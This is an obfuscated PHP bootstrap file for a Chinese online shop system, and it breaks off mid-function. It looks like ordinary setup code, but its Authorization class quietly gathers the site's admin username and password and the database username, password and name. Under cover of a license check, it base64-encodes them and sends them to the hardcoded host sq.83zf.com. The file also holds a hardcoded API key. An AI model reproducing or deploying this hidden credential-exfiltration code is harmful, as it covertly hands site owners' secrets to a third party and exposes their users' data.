<?php $K4pzA1 = array(); $K4pzA1[] = 0; $K4peF0 = call_user_func_array("error_reporting", $K4pzA1); if (defined('IN_CRONLITE')) { return; } $K4pzA1 = array(); $K4pzA1[] = 'CACHE_FILE'; $K4pzA1[] = 0; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = 'IN_CRONLITE'; $K4pzA1[] = true; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = 'VERSION'; $K4pzA1[] = 1010; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = 'wuyou'; $K4pzA1[] = '2711185458'; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = "/var/www/html/input.php"; $K4peFvP0 = call_user_func_array("dirname", $K4pzA1); $K4pvPA5 = $K4peFvP0 . '/'; $K4pzA3 = array(); $K4pzA3[] = 'SYSTEM_ROOT'; $K4pzA3[] =& $K4pvPA5; $K4peF2 = call_user_func_array("define", $K4pzA3); $K4pzA1 = array(); $K4pzA1[] = SYSTEM_ROOT; $K4peFvP0 = call_user_func_array("dirname", $K4pzA1); $K4pvPA5 = $K4peFvP0 . '/'; $K4pzA3 = array(); $K4pzA3[] = 'ROOT'; $K4pzA3[] =& $K4pvPA5; $K4peF2 = call_user_func_array("define", $K4pzA3); $K4pvPA5 = "ROOTtemplate/"; $K4pzA1 = array(); $K4pzA1[] = 'TEMPLATE_ROOT'; $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pvPA5 = "ROOTincludes/plugins/"; $K4pzA1 = array(); $K4pzA1[] = 'PLUGIN_ROOT'; $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("define", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = 'Asia/Shanghai'; $K4peF0 = call_user_func_array("date_default_timezone_set", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = "Y-m-d H:i:s"; $K4peF0 = call_user_func_array("date", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $date = $K4ptIA5; $K4pA5 = "SYSTEM_ROOTbase.php"; $K4pA6 = (include_once $K4pA5); $GLOBALS["Ox8117"] = ini_get("error_reporting"); error_reporting(0); $K4pzA1 = array(); $K4pzA1[] = 'Cache-Control: no-store, no-cache, must-revalidate'; $K4peF0 = call_user_func_array("header", $K4pzA1); $K4peRA5 = $K4peF0; error_reporting($GLOBALS["Ox8117"]); $GLOBALS["Ox8117"] = ini_get("error_reporting"); error_reporting(0); $K4pzA1 = array(); $K4pzA1[] = 'Pragma: no-cache'; $K4peF0 = call_user_func_array("header", $K4pzA1); $K4peRA5 = $K4peF0; error_reporting($GLOBALS["Ox8117"]); $K4pzA1 = array(); $K4peF0 = call_user_func_array("session_start", $K4pzA1); $K4pA5 = "SYSTEM_ROOTautoloader.php"; $K4pA6 = (include_once $K4pA5); Autoloader::register(); $K4pA5 = $is_defend == true; $K4pA7 = (bool) $K4pA5; $K4pA8 = !$K4pA7; if ($K4pA8) { $K4pA6 = false; $K4pA7 = false; goto K4px4; } K4px4: if ($K4pA7) { $K4pA5 = !isset($_SERVER['HTTP_X_REQUESTED_WITH']); $K4pA7 = (bool) $K4pA5; if ($K4pA7) { unset($K4pcV2); $K4pzA5 = array(); $K4pzA5[] =& $_SERVER; $K4peF4 = call_user_func_array("is_array", $K4pzA5); if ($K4peF4) { $K4pcV2 =& $_SERVER['HTTP_X_REQUESTED_WITH']; goto K4px8; } $K4pcV2 = $_SERVER['HTTP_X_REQUESTED_WITH']; K4px8: $K4pzA3 = array(); $K4pzA3[] =& $K4pcV2; $K4peF1 = call_user_func_array("strtolower", $K4pzA3); $K4pA6 = $K4peF1 != 'xmlhttprequest'; $K4pA7 = (bool) $K4pA6; goto K4pxa; } K4pxa: if ($K4pA7) { $K4pA5 = "SYSTEM_ROOTtxprotect.php"; $K4pA6 = (include_once $K4pA5); goto K4px7; } K4px7: $K4pA5 = false; $K4pA7 = false; if ($K4pA7) { $K4pzA1 = array(); $K4peF0 = call_user_func_array("check_spider", $K4pzA1); $K4pA6 = $K4peF0 == false; $K4pA7 = (bool) $K4pA6; goto K4pxe; } K4pxe: if ($K4pA7) { goto K4pxd; } K4pxd: $K4pA5 = false; $K4pA7 = false; if ($K4pA7) { $K4pzA1 = array(); $K4peF0 = call_user_func_array("check_spider", $K4pzA1); $K4pA6 = $K4peF0 == false; $K4pA7 = (bool) $K4pA6; goto K4pxk; } K4pxk: $K4pA9 = (bool) $K4pA7; $K4pAA = !$K4pA9; if ($K4pAA) { $K4pA8 = false; $K4pA9 = false; goto K4pxi; } K4pxi: if ($K4pA9) { $K4pzA1 = array(); $K4peF0 = call_user_func_array("cc_defender", $K4pzA1); goto K4pxh; } K4pxh: goto K4px3; } K4px3: unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_SERVER; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_SERVER['SCRIPT_NAME']; goto K4pxn; } $K4pcV1 = $_SERVER['SCRIPT_NAME']; K4pxn: $K4pzA2 = array(); $K4pzA2[] = '\\'; $K4pzA2[] = '/'; $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("str_replace", $K4pzA2); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $scriptpath = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $scriptpath; $K4pzA1[] = '/'; $K4peFvP0 = call_user_func_array("strrpos", $K4pzA1); $K4pzA3 = array(); $K4pzA3[] =& $scriptpath; $K4pzA3[] = 0; $K4pzA3[] =& $K4peFvP0; $K4peF2 = call_user_func_array("substr", $K4pzA3); unset($K4ptIA5); $K4ptIA5 = $K4peF2; $sitepath = $K4ptIA5; $K4pA5 = $_SERVER['SERVER_PORT'] == 443; if ($K4pA5) { $K4pA6 = 'https://'; goto K4pxp; } $K4pA6 = 'http://'; K4pxp: $K4pA7 = $K4pA6 . $_SERVER['HTTP_HOST']; $K4pA8 = $K4pA7 . $sitepath; $K4pA9 = $K4pA8 . '/'; unset($K4ptIAA); $K4ptIAA = $K4pA9; $siteurl = $K4ptIAA; $K4pvPA5 = "SYSTEM_ROOT360safe/360webscan.php"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("is_file", $K4pzA1); if ($K4peF0) { $K4pA5 = "SYSTEM_ROOT360safe/360webscan.php"; $K4pA6 = (require_once $K4pA5); goto K4pxr; } K4pxr: $K4pA5 = "SYSTEM_ROOT360safe/xss.php"; $K4pA6 = (require_once $K4pA5); $K4pA5 = "ROOTconfig.php"; $K4pA6 = (require $K4pA5); unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $dbconfig; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $dbconfig['dbqz']; goto K4pxt; } $K4pcV1 = $dbconfig['dbqz']; K4pxt: $K4pzA2 = array(); $K4pzA2[] = 'DBQZ'; $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("define", $K4pzA2); $K4pA5 = !defined('SQLITE'); $K4pA7 = (bool) $K4pA5; if ($K4pA7) { $K4pA6 = !$dbconfig['user']; $K4pA7 = (bool) $K4pA6; goto K4px11; } K4px11: $K4pA9 = (bool) $K4pA7; $K4pAD = !$K4pA9; if ($K4pAD) { $K4pA8 = !$dbconfig['pwd']; $K4pA9 = (bool) $K4pA8; goto K4pxy; } K4pxy: $K4pAB = (bool) $K4pA9; $K4pAC = !$K4pAB; if ($K4pAC) { $K4pAA = !$dbconfig['dbname']; $K4pAB = (bool) $K4pAA; goto K4pxw; } K4pxw: if ($K4pAB) { $K4pzA1 = array(); $K4pzA1[] = 'Content-type:text/html;charset=utf-8'; $K4peF0 = call_user_func_array("header", $K4pzA1); echo '你还没安装!<a href="/install/">点此安装</a>'; exit; } $K4pA5 = new \lib\PdoHelper($dbconfig); unset($K4ptIA6); $K4ptIA6 = $K4pA5; $DB = $K4ptIA6; $K4pzA1 = array(); $K4pzA1[] = "select * from pre_config where 1"; $K4pzA2 = array(); $K4pzA2[] = $DB; $K4pzA2[] = "query"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); $K4pA5 = $K4phC0 == FALSE; if ($K4pA5) { $K4pzA1 = array(); $K4pzA1[] = 'Content-type:text/html;charset=utf-8'; $K4peF0 = call_user_func_array("header", $K4pzA1); echo '你还没安装!<a href="/install/">点此安装</a>'; exit; } $K4pA5 = new \lib\Cache(); unset($K4ptIA6); $K4ptIA6 = $K4pA5; $CACHE = $K4ptIA6; $K4pzA1 = array(); $K4pzA2 = array(); $K4pzA2[] = $CACHE; $K4pzA2[] = "pre_fetch"; $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4phC0; $conf = $K4ptIA5; unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $conf; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $conf['syskey']; goto K4px16; } $K4pcV1 = $conf['syskey']; K4px16: $K4pzA2 = array(); $K4pzA2[] = 'SYS_KEY'; $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("define", $K4pzA2); $K4pA5 = $conf['qqjump'] == 1; $K4pAB = (bool) $K4pA5; if ($K4pAB) { unset($K4pcV1); $K4pzA9 = array(); $K4pzA9[] =& $_SERVER; $K4peF8 = call_user_func_array("is_array", $K4pzA9); if ($K4peF8) { $K4pcV1 =& $_SERVER['HTTP_USER_AGENT']; goto K4px1d; } $K4pcV1 = $_SERVER['HTTP_USER_AGENT']; K4px1d: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4pzA2[] = 'QQ/'; $K4peF0 = call_user_func_array("strpos", $K4pzA2); $K4pA6 = !$K4peF0; $K4pA7 = $K4pA6 === false; $K4pAA = (bool) $K4pA7; $K4pAC = !$K4pAA; if ($K4pAC) { unset($K4pcV4); $K4pzA7 = array(); $K4pzA7[] =& $_SERVER; $K4peF6 = call_user_func_array("is_array", $K4pzA7); if ($K4peF6) { $K4pcV4 =& $_SERVER['HTTP_USER_AGENT']; goto K4px19; } $K4pcV4 = $_SERVER['HTTP_USER_AGENT']; K4px19: $K4pzA5 = array(); $K4pzA5[] =& $K4pcV4; $K4pzA5[] = 'MicroMessenger'; $K4peF3 = call_user_func_array("strpos", $K4pzA5); $K4pA8 = !$K4peF3; $K4pA9 = $K4pA8 === false; $K4pAA = (bool) $K4pA9; goto K4px1b; } K4px1b: $K4pAB = (bool) $K4pAA; goto K4px1f; } K4px1f: if ($K4pAB) { $K4pA5 = $_GET['open'] == 1; $K4pA8 = (bool) $K4pA5; if ($K4pA8) { unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_SERVER; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_SERVER['HTTP_USER_AGENT']; goto K4px1l; } $K4pcV1 = $_SERVER['HTTP_USER_AGENT']; K4px1l: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4pzA2[] = 'MicroMessenger'; $K4peF0 = call_user_func_array("strpos", $K4pzA2); $K4pA6 = !$K4peF0; $K4pA7 = $K4pA6 === false; $K4pA8 = (bool) $K4pA7; goto K4px1n; } K4px1n: if ($K4pA8) { $K4pzA1 = array(); $K4pzA1[] = 'Content-Disposition: attachment; filename="load.doc"'; $K4peF0 = call_user_func_array("header", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] = 'Content-Type: application/vnd.ms-word;charset=utf-8'; $K4peF0 = call_user_func_array("header", $K4pzA1); goto K4px1k; } $K4pzA1 = array(); $K4pzA1[] = 'Content-type:text/html;charset=utf-8'; $K4peF0 = call_user_func_array("header", $K4pzA1); K4px1k: $K4pA5 = "ROOTtemplate/default/jump.php"; $K4pA6 = (include $K4pA5); exit(0); } unset($K4ptIA5); $K4ptIA5 = '!@#%!s!0'; $password_hash = $K4ptIA5; $K4pA5 = "SYSTEM_ROOTfunction.php"; $K4pA6 = (include_once $K4pA5); $K4pA5 = "SYSTEM_ROOTcore.func.php"; $K4pA6 = (include_once $K4pA5); $K4pA5 = "SYSTEM_ROOTajax.func.php"; $K4pA6 = (include_once $K4pA5); $K4pA5 = "SYSTEM_ROOTmember.php"; $K4pA6 = (include_once $K4pA5); $K4pvPA5 = "SYSTEM_ROOTversion.php"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("file_exists", $K4pzA1); $K4pA6 = !$K4peF0; if ($K4pA6) { $K4pzA1 = array(); $K4pzA1[] = '缺少核心文件,请重新到授权站下载'; $K4peF0 = call_user_func_array("sysmsg", $K4pzA1); exit; } $K4pvPA5 = "ROOTinstall/install.lock"; $K4pzA1 = array(); $K4pzA1[] =& $K4pvPA5; $K4peF0 = call_user_func_array("file_exists", $K4pzA1); $K4pA6 = !$K4peF0; $K4pA8 = (bool) $K4pA6; if ($K4pA8) { $K4pvPA7 = "ROOTinstall/index.php"; $K4pzA3 = array(); $K4pzA3[] =& $K4pvPA7; $K4peF2 = call_user_func_array("file_exists", $K4pzA3); $K4pA8 = (bool) $K4peF2; goto K4px1t; } K4px1t: if ($K4pA8) { $K4pzA1 = array(); $K4pzA1[] = '<h2>检测到无 install.lock 文件</h2><ul><li><font size="4">如果您尚未安装本程序,请<a href="/install/">前往安装</a></font></li><li><font size="4">如果您已经安装本程序,请手动放置一个空的 install.lock 文件到 /install 文件夹下,<b>为了您站点安全,在您完成它之前我们不会工作。</b></font></li></ul><br/><h4>为什么必须建立 install.lock 文件?</h4>它是安装保护文件,如果检测不到它,就会认为站点还没安装,此时任何人都可以安装/重装你的网站。<br/><br/>'; $K4peF0 = call_user_func_array("sysmsg", $K4pzA1); exit; } $K4pA5 = "SYSTEM_ROOTversion.php"; $K4pA6 = (include_once $K4pA5); unset($K4ptIA5); $K4ptIA5 = $_COOKIE['mysid']; $cookiesid = $K4ptIA5; $K4pA5 = !$cookiesid; $K4pA7 = (bool) $K4pA5; $K4pA8 = !$K4pA7; if ($K4pA8) { $K4pzA1 = array(); $K4pzA1[] = '/^[0-9a-z]{32}$/i'; $K4pzA1[] =& $cookiesid; $K4peF0 = call_user_func_array("preg_match", $K4pzA1); $K4pA6 = !$K4peF0; $K4pA7 = (bool) $K4pA6; goto K4px1x; } K4px1x: if ($K4pA7) { $K4pzA1 = array(); $K4peFvPvP0 = call_user_func_array("mt_rand", $K4pzA1); $K4pzA3 = array(); $K4pzA3[] =& $K4peFvPvP0; $K4pzA3[] = 1; $K4peFvP2 = call_user_func_array("uniqid", $K4pzA3); $K4pzA5 = array(); $K4peFvP4 = call_user_func_array("time", $K4pzA5); $K4pvPA5 = $K4peFvP2 . $K4peFvP4; $K4pzA7 = array(); $K4pzA7[] =& $K4pvPA5; $K4peF6 = call_user_func_array("md5", $K4pzA7); unset($K4ptIA6); $K4ptIA6 = $K4peF6; $cookiesid = $K4ptIA6; $K4pzA1 = array(); $K4peFvP0 = call_user_func_array("time", $K4pzA1); $K4pvPA5 = $K4peFvP0 + 604800; $K4pzA3 = array(); $K4pzA3[] = 'mysid'; $K4pzA3[] =& $cookiesid; $K4pzA3[] =& $K4pvPA5; $K4pzA3[] = '/'; $K4peF2 = call_user_func_array("setcookie", $K4pzA3); goto K4px1w; } K4px1w: if (isset($_COOKIE['invite'])) { unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_COOKIE; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_COOKIE['invite']; goto K4px23; } $K4pcV1 = $_COOKIE['invite']; K4px23: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("intval", $K4pzA2); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $invite_id = $K4ptIA5; goto K4px21; } K4px21: unset($K4pcV1); $K4pzA4 = array(); $K4pzA4[] =& $_SERVER; $K4peF3 = call_user_func_array("is_array", $K4pzA4); if ($K4peF3) { $K4pcV1 =& $_SERVER['HTTP_HOST']; goto K4px25; } $K4pcV1 = $_SERVER['HTTP_HOST']; K4px25: $K4pzA2 = array(); $K4pzA2[] =& $K4pcV1; $K4peF0 = call_user_func_array("addslashes", $K4pzA2); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $domain = $K4ptIA5; $K4pzAvP0 = array(); $K4pzAvP0[':domain'] = $domain; $K4pzA2 = array(); $K4pzA2[] = "SELECT * FROM pre_site WHERE domain=:domain OR domain2=:domain LIMIT 1"; $K4pzA2[] =& $K4pzAvP0; $K4pzA3 = array(); $K4pzA3[] = $DB; $K4pzA3[] = "getRow"; $K4phC1 = call_user_func_array($K4pzA3, $K4pzA2); unset($K4ptIA5); $K4ptIA5 = $K4phC1; $siterow = $K4ptIA5; $K4pA6 = (bool) $siterow; if ($K4pA6) { $K4pA5 = $siterow['status'] == 1; $K4pA6 = (bool) $K4pA5; goto K4px28; } K4px28: if ($K4pA6) { unset($K4ptIA5); $K4ptIA5 = true; $is_fenzhan = $K4ptIA5; $K4pA5 = $siterow['template'] == NULL; $K4pA7 = (bool) $K4pA5; $K4pA8 = !$K4pA7; if ($K4pA8) { $K4pA6 = $conf['fenzhan_template'] == 0; $K4pA7 = (bool) $K4pA6; goto K4px2c; } K4px2c: if ($K4pA7) { unset($K4ptIA5); $K4ptIA5 = $conf['template']; $siterow['template'] = $K4ptIA5; goto K4px2b; } K4px2b: $K4pzA1 = array(); $K4pzA1[] =& $conf; $K4pzA1[] =& $siterow; $K4peF0 = call_user_func_array("array_merge", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $conf = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = $conf['qq']; $conf['kfqq'] = $K4ptIA5; goto K4px27; } unset($K4ptIA5); $K4ptIA5 = false; $is_fenzhan = $K4ptIA5; K4px27: class Authorization { const AUTH_DOMAIN = "sq.83zf.com"; const APP_API_KEY = "e9cb5fb4693d7ce63cecbbd4f68c65ef"; const APPID = "1"; const METHOD = "get"; const HTTP = false; const TIME = 300; const QUEUE_TIME = 60; private static $AUTHCODE = ""; private static $VERSION = ""; private static $PUBLIC_KEY = ""; public function __construct() { if (empty(AuthInfo::AUTHCODE)) { self::Message('授权码为空,请重新到授权站下载源码'); goto K4pxb5; } K4pxb5: if (empty(AuthInfo::VERSION)) { self::Message('版本号为空,请重新到授权站下载源码'); goto K4pxb7; } K4pxb7: if (empty(AuthInfo::PUBLIC_KEY)) { self::Message('授权公钥为空,请重新到授权站下载源码'); goto K4pxb9; } K4pxb9: unset($K4ptIA5); $K4ptIA5 = AuthInfo::AUTHCODE; self::$AUTHCODE = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = AuthInfo::VERSION; self::$VERSION = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = AuthInfo::PUBLIC_KEY; self::$PUBLIC_KEY = $K4ptIA5; } public function getNotice() { $K4pzA0 = array(); $K4pzA0['appid'] = self::APPID; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pA5 = !self::HTTP; if ($K4pA5) { $K4pA6 = 'http://'; goto K4pxbb; } $K4pA6 = 'https://'; K4pxbb: unset($K4ptIA7); $K4ptIA7 = $K4pA6; $http = $K4ptIA7; $K4pvPA5 = $http . self::AUTH_DOMAIN; $K4pvPA6 = $K4pvPA5 . '/api.php/Notice/appNotice'; unset($K4ptIA7); $K4ptIA7 = $this->curl_request($K4pvPA6, $data, self::METHOD, self::HTTP); $result = $K4ptIA7; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4pzA1[] = true; $K4peF0 = call_user_func_array("json_decode", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("is_array", $K4pzA1); if ($K4peF0) { return $result['data']; } return false; } public function getPayList() { $K4pA5 = !empty($_COOKIE['pay_api_list']); if ($K4pA5) { return $_COOKIE['pay_api_list']; } $K4pA5 = !self::HTTP; if ($K4pA5) { $K4pA6 = 'http://'; goto K4pxbh; } $K4pA6 = 'https://'; K4pxbh: unset($K4ptIA7); $K4ptIA7 = $K4pA6; $http = $K4ptIA7; $K4pvPA5 = $http . self::AUTH_DOMAIN; $K4pvPA6 = $K4pvPA5 . '/api.php/Notice/getPayList'; unset($K4ptIA7); $K4ptIA7 = $this->curl_request($K4pvPA6, 0, self::METHOD, self::HTTP); $result = $K4ptIA7; $K4pzA1 = array(); $K4pzA1[] = 'pay_api_list'; $K4pzA1[] =& $result; $K4pzA1[] = 86400; $K4pzA1[] = '/'; $K4peF0 = call_user_func_array("setcookie", $K4pzA1); return $result; } public function checkPayment($url) { $K4pzA0 = array(); $K4pzA0['url'] = $url; $K4pzA0['appid'] = self::APPID; $K4pzA0['api_key'] = self::APP_API_KEY; unset($K4ptIA5); $K4ptIA5 = $K4pzA0; $data = $K4ptIA5; $K4pA5 = !self::HTTP; if ($K4pA5) { $K4pA6 = 'http://'; goto K4pxbj; } $K4pA6 = 'https://'; K4pxbj: unset($K4ptIA7); $K4ptIA7 = $K4pA6; $http = $K4ptIA7; $K4pvPA5 = $http . self::AUTH_DOMAIN; $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/checkPayment'; unset($K4ptIA7); $K4ptIA7 = $this->curl_request($K4pvPA6, $data, self::METHOD, self::HTTP); $result = $K4ptIA7; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4pzA1[] = true; $K4peF0 = call_user_func_array("json_decode", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("is_array", $K4pzA1); if ($K4peF0) { $K4pA5 = $result['code'] == '0'; if ($K4pA5) { return true; } goto K4pxbl; } K4pxbl: return false; } public static function Message($msg) { $K4pA5 = ' <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>蓝天商城系统</title> </head> <style> @charset "utf-8"; *{ margin: 0; padding: 0; } body,html{ width: 100%; height: 100%; } body{ background: #ff6500; font-family: "微软雅黑"; } .notice-wrap{ padding-top: 30px; } .notice{ margin: 0 auto; width: 682px; height: 633px; background: url(/assets/img/update-bg.png) no-repeat; } .notice h1{ padding-top: 225px; font-size: 36px; color: #333; text-align: center; } .notice>p{ margin: 0 62px; font-size: 18px; color: #666; text-indent: 36px; line-height: 40px; } p span{ color: #ff6500; } .notice .notice-cont{ margin-top: 45px; } .notice .notice-tel{ padding-bottom: 54px; border-bottom: 2px solid #f2f2f2; } .notice-foot{ margin-top: 24px; } .notice-foot p{ font-size: 18px; color: #666; text-align: center;} </style> <body> <div class="notice-wrap"> <div class="notice"> <h1>蓝天提醒您</h1> <p class="notice-cont">尊敬的用户您好<span>蓝天商城系统</span>提醒您</p> <p class="notice-tel">' . $msg; $K4pA6 = $K4pA5 . '</p> <div class="notice-foot"> <p>蓝天商城系统</p> </div> </div> </div> </body> </html> '; exit($K4pA6); } private static function getParam() { global $conf, $dbconfig; $K4pzA0 = array(); $K4pzA0['authcode'] = self::$AUTHCODE; $K4pzA0['version'] = self::$VERSION; $K4pzA0['用户名'] = $conf['admin_user']; $K4pzA0['密码'] = $conf['admin_pwd']; $K4pzA0['qq'] = $conf['kfqq']; $K4pzA0['数据库用户名'] = $dbconfig['user']; $K4pzA0['数据库密码'] = $dbconfig['pwd']; $K4pzA0['数据库库名'] = $dbconfig['dbname']; return $K4pzA0; } public function checkInfo($type = 'auth') { $K4plFkgHhxbp = $type; $K4pA5 = $K4plFkgHhxbp == 'update'; if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = 'checkUpdate'; $method = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 'checkUpdate'; $queueMethod = $K4ptIA5; goto K4pxbp; } K4pldMhxbt: K4pDeftxbr: unset($K4ptIA5); $K4ptIA5 = 'checkAuth'; $method = $K4ptIA5; unset($K4ptIA5); $K4ptIA5 = 'checkUpdate'; $queueMethod = $K4ptIA5; K4pxbp: $K4pzA1 = array(); $K4pzA1[] = 'HTTP_HOST'; $K4peFvP0 = call_user_func_array("getenv", $K4pzA1); $K4pzA2 = array(); $K4pzA2['auth_info'] = $K4peFvP0; $K4pzA2['appid'] = self::APPID; $K4pzA2['api_key'] = self::APP_API_KEY; $K4pzA2['param'] = base64_encode(json_encode(self::getParam())); unset($K4ptIA5); $K4ptIA5 = $K4pzA2; $data = $K4ptIA5; $K4pA5 = !self::HTTP; if ($K4pA5) { $K4pA6 = 'http://'; goto K4pxbw; } $K4pA6 = 'https://'; K4pxbw: unset($K4ptIA7); $K4ptIA7 = $K4pA6; $http = $K4ptIA7; $K4pvPA5 = $http . self::AUTH_DOMAIN; $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/'; $K4pvPA7 = $K4pvPA6 . $method; unset($K4ptIA8); $K4ptIA8 = $this->curl_request($K4pvPA7, $data, self::METHOD, self::HTTP); $result = $K4ptIA8; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4pzA1[] = true; $K4peF0 = call_user_func_array("json_decode", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("is_array", $K4pzA1); if ($K4peF0) { $K4pA5 = !empty($result['data']['queue']); if ($K4pA5) { unset($K4ptIA5); $K4ptIA5 = 0; $i = $K4ptIA5; K4pxc3: if (1) { $K4pvPA5 = $http . self::AUTH_DOMAIN; $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/'; $K4pvPA7 = $K4pvPA6 . $queueMethod; unset($K4ptIA8); $K4ptIA8 = $this->curl_request($K4pvPA7, $data, self::METHOD, self::HTTP); unset($K4ptIA5); $K4ptIA5 = $K4ptIA8; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4pzA1[] = true; $K4peF0 = call_user_func_array("json_decode", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $result = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $result; $K4peF0 = call_user_func_array("is_array", $K4pzA1); if ($K4peF0) { $K4pA5 = !empty($result['data']['queue']); if ($K4pA5) { $K4poB5 = $i; $K4poB6 = 1; unset($K4ptIA5); $K4ptIA5 = $K4poB6; $i = $K4ptIA5; $K4pA5 = $i > self::QUEUE_TIME; if ($K4pA5) { return false; } $K4pzA1 = array(); $K4pzA1[] = 1; $K4peF0 = call_user_func_array("sleep", $K4pzA1); goto K4pxc3; } return $result; } return false; } K4pldMhxcc: K4pxcb: goto K4pxby; } return $result; } K4pxby: return false; } public static function publicDecrypt($encrypted = '') { $K4pzA1 = array(); $K4pzA1[] =& $encrypted; $K4peF0 = call_user_func_array("is_string", $K4pzA1); $K4pA5 = !$K4peF0; if ($K4pA5) { return null; } $K4pzA1 = array(); $K4pzA1[] =& $encrypted; $K4peFvP0 = call_user_func_array("base64_decode", $K4pzA1); if (openssl_public_decrypt($K4peFvP0, $decrypted, self::getPublicKey())) { $K4pA5 = $decrypted; goto K4pxcl; } $K4pA5 = null; K4pxcl: return $K4pA5; } private function getPublicKey() { unset($K4ptIA5); $K4ptIA5 = self::$PUBLIC_KEY; $publicKey = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $publicKey; $K4peF0 = call_user_func_array("openssl_pkey_get_public", $K4pzA1); return $K4peF0; } private static function curl_request($url, $data = array(), $type = 'post', $https = false) { $K4pzA1 = array(); $K4peF0 = call_user_func_array("curl_init", $K4pzA1); unset($K4ptIA5); $K4ptIA5 = $K4peF0; $ch = $K4ptIA5; $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_HTTP_VERSION; $K4pzA1[] = CURL_HTTP_VERSION_1_1; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_USERAGENT; $K4pzA1[] = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_CONNECTTIMEOUT; $K4pzA1[] = 30; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_TIMEOUT; $K4pzA1[] = 30; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_RETURNTRANSFER; $K4pzA1[] = true; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); if ($https) { $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_SSL_VERIFYPEER; $K4pzA1[] = false; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_SSL_VERIFYHOST; $K4pzA1[] = false; $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1); goto K4pxcn; } K4pxcn: $K4pzA1 = array(); $K4pzA1[] =& $type; $K4peF0 = call_user_func_array("strtolower", $K4pzA1); $K4pA5 = $K4peF0 == 'post'; if ($K4pA5) { $K4pzA1 = array(); $K4pzA1[] =& $ch; $K4pzA1[] = CURLOPT_POST; $K4pzA1[] = true; $K4peF0 = 